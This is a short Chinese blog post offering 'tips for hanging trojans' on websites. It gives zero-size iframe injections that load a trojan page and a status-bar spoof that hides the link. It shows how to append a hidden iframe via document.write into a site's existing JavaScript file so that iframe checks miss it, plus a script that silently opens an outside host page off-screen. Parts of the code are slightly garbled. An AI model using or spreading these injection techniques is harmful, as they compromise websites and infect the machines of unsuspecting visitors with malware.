挂马小技巧

最新推荐文章于 2025-04-16 16:00:07 发布

annhf

最新推荐文章于 2025-04-16 16:00:07 发布

阅读量720

点赞数

分类专栏：计算机文章标签： iframe javascript scroll 脚本 file

计算机专栏收录该内容

6 篇文章

订阅专栏

1.挂马的一个小技巧

　挂马时用的都是<iframe src=http://www.sohu.com/mm.htm width=0 height=0></iframe>这样的源码，但是浏览被挂的时候，状态栏会显示挂马的链接，在mm.htm或被挂的页面加上一句 <body οnlοad=window.status="被挂站的网址">可能会好一点点儿。

2.网站挂马的技巧（js法）
一般的办法是在一个地方写上<iframe src="muma.htm" width="0" height="0" frameborder="0"></iframe> 这样就可以访问muma的页面了

升级一下

先找找主页里面是否有JS的脚本,找到script language="javascript" src="/xxxx.js"之类就成功了,接下来把这个JS下载下来,往里面加以下代码(最好在原来的代码上,回车一行加上代码)

document.write('<IFRAME marginWidth=0 marginHeight=0 src="http://XXXXX.com/ma.htm"frameBorder=0width=0scrolling=noheight=0to ... gin="0"></IFRAME>');

以上代码中的http://XXXXX.com/ma.htm ,换成你自己的网页木马的地址.

再把修改好的JS上传覆盖原来的JS,就可以了.

www_bitscn_com中国.网管联盟

哈哈...是不是很隐蔽了!

另外，这一句同样不错，用script实现的。所以对于一般别人检查iframe来判断有无被挂马是一个突破

<script>
file://window.showModelessDialog("javascript:window.open('http://2112.3322.com/mm/ray.htm' ,'k','top=3000,left=3000,width=0,height=0');

window.close();","n","scroll:0;status:0;help:0;resizable:0;dialogWidth:0px;dialogHeight:0px");
</script>